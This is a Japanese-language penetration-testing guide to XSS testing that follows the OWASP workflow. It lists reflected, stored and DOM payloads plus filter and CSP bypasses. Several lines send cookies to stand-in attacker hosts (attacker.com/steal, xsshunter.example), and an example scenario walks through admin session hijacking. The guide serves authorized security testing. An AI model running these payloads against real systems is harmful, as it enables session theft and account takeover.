testing-for-xss-vulnerabilities

XSS 脆弱性のテスト

使用する場面

• OWASP WSTG テストの一環として、Web アプリケーションのクライアント側インジェクション脆弱性をテストする場合
• アプリケーションのすべての機能において、入力のサニタイズと出力のエンコードが有効か評価する場合
• XSS 攻撃に対する Content Security Policy（CSP）ヘッダーの保護効果を評価する場合
• セッションハイジャック、認証情報の窃取、フィッシング用オーバーレイを通じて、XSS の影響を関係者に示す場合
• シングルページアプリケーション（React、Angular、Vue）のクライアント側ルーティングとレンダリングにおいて、DOM ベースの XSS をテストする場合

使用しないでください。書面による許可を得ていないアプリケーションに対するテスト、実際のユーザーに影響する永続的な XSS ペイロードの展開、本番環境から実際のユーザーのセッショントークンを流出させる目的では使用しないでください。

前提条件

• 対象の Web アプリケーションと許容されるテスト内容を定めた、認可済みのスコープ
• XSS に特化した拡張機能（XSS Validator、Reflector、Active Scan++）を備えた Burp Suite Professional
• 開発者ツールと XSS テスト用拡張機能（HackBar、XSS Hunter）を備えたブラウザー
• アウトオブバンドのペイロード検証用の XSS Hunter または Burp Collaborator
• SecLists の XSS ペイロードリストと、WAF バイパス用のカスタムペイロード

法的通知： このスキルは、許可を得たセキュリティテストと教育目的にのみ使用してください。所有していないシステム、またはテストする書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター犯罪に関する法律に違反する可能性があります。

ワークフロー

ステップ 1：入力と出力のマッピング

ユーザー入力がアプリケーションに取り込まれ、レンダリングされるすべての箇所をマッピングします。

• 反射型入力：レスポンスに反映されるすべての URL パラメーター、検索フィールド、エラーメッセージ、HTTP ヘッダー値をテストします
• 格納型入力：ユーザープロフィール、コメント、フォーラム投稿、ファイル名、サポートチケット、チャットメッセージなど、入力が保存され、後から表示される機能を特定します
• DOM 入力：location.hash、location.search、document.referrer、window.name、postMessage、localStorage から値を読み取り、DOM に書き込むクライアント側の JavaScript を特定します
• 出力コンテキストの特定：反射される入力ごとに、レンダリングされるコンテキストを特定します。
  • HTML 本文：<div>USER_INPUT</div>
  • HTML 属性：<input value="USER_INPUT">
  • JavaScript 文字列：var x = 'USER_INPUT';
  • URL コンテキスト：<a href="USER_INPUT">
  • CSS コンテキスト：<div style="color: USER_INPUT">

ステップ 2：反射型 XSS のテスト

反射型インジェクションポイントを、コンテキストに適したペイロードでテストします。

• HTML 本文コンテキスト：<script>alert(document.domain)</script>、<img src=x onerror=alert(1)>、<svg onload=alert(1)>
• HTML 属性コンテキスト：" onfocus=alert(1) autofocus="、" onmouseover=alert(1) "、"><script>alert(1)</script>
• JavaScript 文字列コンテキスト：';alert(1)//、\';alert(1)//、</script><script>alert(1)</script>
• URL／href コンテキスト：javascript:alert(1)、data:text/html,<script>alert(1)</script>
• HTML コメント内：--><script>alert(1)</script><!--
• フィルターバイパス用ペイロード（基本的なペイロードがブロックされる場合）：
  • 大文字と小文字の変更：<ScRiPt>alert(1)</sCrIpT>
  • イベントハンドラー：<details open ontoggle=alert(1)>
  • SVG：<svg><animate onbegin=alert(1) attributeName=x>
  • エンコード：<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

ステップ 3：保存型 XSS のテスト

入力内容が保存され、ほかのユーザーに表示される箇所をテストします。

• ステップ 1 で特定したすべての保存型入力フィールドに XSS ペイロードを送信します
• 各ペイロードに一意の識別子を使用し、どの入力がトリガーとなるかを追跡します：<script>alert('XSS-PROFILE-001')</script>
• 保存された入力が表示されるすべての場所を確認します（同じ入力が複数のページに表示される場合があります）
• HTML ファイル内の JavaScript、スクリプトを埋め込んだ SVG ファイル、XSS ペイロードを含むファイル名を使って、ファイルアップロード機能をテストします
• リッチテキストエディターは、未加工の HTML モードからペイロードを挿入するか、クライアント側エディターがサニタイズした後に POST データを改変してテストします
• ペイロードが直接アクセスできない管理パネルや内部ツールで実行される場合は、XSS Hunter のペイロード（"><script src=https://yourxsshunter.xss.ht></script>）を使用して、ブラインド保存型 XSS をテストします

ステップ 4：DOM ベース XSS のテスト

安全でない DOM 操作がないか、クライアント側 JavaScript を分析します。

• ソースの特定：JavaScript を検索し、攻撃者が制御できる入力を読み取る危険なソースを探します。
  • document.location、document.URL、document.referrer
  • location.hash、location.search、location.href
  • window.name、postMessage イベントデータ
• シンクの特定：DOM に書き込む危険なシンクを検索します。
  • innerHTML、outerHTML、document.write()、document.writeln()
  • eval()、setTimeout()、setInterval()、Function()
  • イベントハンドラーを指定した element.setAttribute()、jQuery.html()、.append()、v-html（Vue）、dangerouslySetInnerHTML（React）
• データフローの追跡：ソースからシンクまでの経路をたどります。ユーザーが制御する入力が適切にサニタイズされずに危険なシンクへ到達する場合、DOM XSS が存在します。
• フレームワーク固有のテスト：React の dangerouslySetInnerHTML、Angular のテンプレートインジェクション（{{constructor.constructor('alert(1)')()}}）、Vue の v-html ディレクティブをテストします

ステップ 5：CSP バイパスと高度なエクスプロイト

コンテンツセキュリティポリシーの有効性をテストし、実環境での影響を実証します。

• CSP の分析：CSP ヘッダーを確認し、弱点を探します。
  • script-src の unsafe-inline はインラインスクリプトを許可します
  • unsafe-eval は eval() などの関数を許可します
  • ワイルドカードドメイン（*.googleapis.com）に、CSP バイパスに利用可能な JSONP エンドポイントが存在する場合があります
  • base-uri が設定されていない場合、<base> タグのインジェクションによって相対スクリプトの読み込み先をリダイレクトできます
• JSONP バイパス：CSP で JSONP エンドポイントを持つドメインが許可されている場合は、<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script> を使用します
• 影響の実証：
  • セッションハイジャック：<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
  • 認証情報のフィッシング：攻撃者のサーバーに送信する偽のログインフォームをオーバーレイとして挿入します
  • キーロギング：ページ上のキーストロークを取得する JavaScript を挿入します
  • アカウント乗っ取り：XSS を使って被害者のメールアドレスを変更し、パスワードリセットを実行します

主要な概念

用語	定義
反射型 XSS	非永続型の XSS です。注入したペイロードが同じリクエストに対するサーバーの応答に含まれるため、被害者が細工された URL をクリックする必要があります
保存型 XSS	永続型の XSS です。ペイロードがサーバーに保存され、影響を受けるページを閲覧したほかのユーザーに配信されます
DOM ベース XSS	クライアント側 JavaScript が攻撃者の制御するデータを読み取り、それを危険な DOM シンクに書き込むことで、ブラウザー内だけで発生する XSS です
コンテンツセキュリティポリシー	ブラウザーがスクリプト、スタイル、その他のリソースを読み込めるソースを制限する HTTP レスポンスヘッダーで、XSS に対する多層防御を提供します
出力エンコーディング	特殊文字を対応する HTML エンティティに変換すること（例：< を &lt; に変換する）。ブラウザーがユーザー入力をコードとして解釈するのを防ぎます
シンク	攻撃者が制御するデータがサニタイズされずに渡された場合に、コード実行や HTML のレンダリングを引き起こす可能性がある JavaScript 関数または DOM プロパティです

ツールとシステム

• Burp Suite Professional：反射型および格納型 XSS のアクティブスキャンに対応した HTTP プロキシです。手動でのペイロードテストには Repeater と Intruder も使用できます。
• XSS Hunter：トリガーされるとスクリーンショット、Cookie、DOM コンテンツとともにコールバックを送信するペイロードを生成するホステッドサービスです。ブラインドな格納型 XSS の検証に不可欠です。
• DOMPurify：開発者が XSS を防ぐために使用するクライアント側のサニタイズライブラリです。テスターは、デプロイ済みバージョンに対するバイパス手法を検証する必要があります。
• ブラウザーの開発者ツール：Console、Network、Elements の各タブを使って、DOM ベースの XSS データフローを追跡し、ペイロードをリアルタイムでテストします。

よくあるシナリオ

シナリオ：カスタマーサポートチケットシステムにおける格納型 XSS

コンテキスト：ある e コマースプラットフォームには、顧客が送信したチケットをサポートエージェントが内部管理パネルで確認するカスタマーサポートシステムがあります。チケット送信フォームでは HTML 形式を使用できます。

アプローチ：

1. チケットの説明に、一意の XSS Hunter ペイロードを含めてサポートチケットを送信します
2. サポートエージェントが管理パネルでチケットを確認するとペイロードが実行され、エージェントのセッション Cookie、ページの DOM、スクリーンショットを含むコールバックが送信されます
3. 取得した管理者セッション Cookie を使って、サポートエージェントとして管理パネルにアクセスします
4. 管理パネルから顧客の記録、注文データ、返金機能にアクセスします
5. 攻撃の連鎖を記録します：顧客がチケットを送信 -> エージェントがチケットを確認 -> XSS が実行 -> セッションが窃取される -> 管理パネルが侵害される
6. CSP があれば攻撃を防げたかを検証します（このケースでは CSP ヘッダーはありませんでした）

注意点：

• <script>alert(1)</script> だけをテストし、イベントハンドラー経由または HTML 以外のコンテキストで実行される XSS を見逃す
• 管理者向けに表示される機能（サポートチケット、管理者が確認するユーザープロフィール）で格納型 XSS をテストしない
• サーバー側のコードは安全でもクライアント側のレンダリングに脆弱性がある、シングルページアプリケーションの DOM ベース XSS を無視する
• HTTP ヘッダー（Referer、User-Agent）に含まれる XSS を確認しない。これらはログに記録され、管理ダッシュボードに表示される場合があります

出力形式

## Finding: Stored XSS in Support Ticket Description

**ID**: XSS-002
**Severity**: High (CVSS 8.1)
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
**Parameter**: description (POST body)
**XSS Type**: Stored (persistent)

**Description**:
The support ticket description field does not sanitize HTML input before storing
it in the database. When a support agent views the ticket in the admin panel, the
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
execution in the context of the admin application.

**Proof of Concept**:
Submitted ticket with payload:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

The payload fired when the agent viewed the ticket, exfiltrating the admin session
cookie to the XSS Hunter server.

**Impact**:
An attacker can steal the session tokens of support agents and administrators,
gaining access to the admin panel with privileges to view customer PII, process
refunds, and modify orders. Affects all 23 support agents who view customer tickets.

**Remediation**:
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
   DOMPurify for client-side rendering)
2. Deploy Content Security Policy header:
   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. Set HttpOnly flag on session cookies to prevent JavaScript access
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)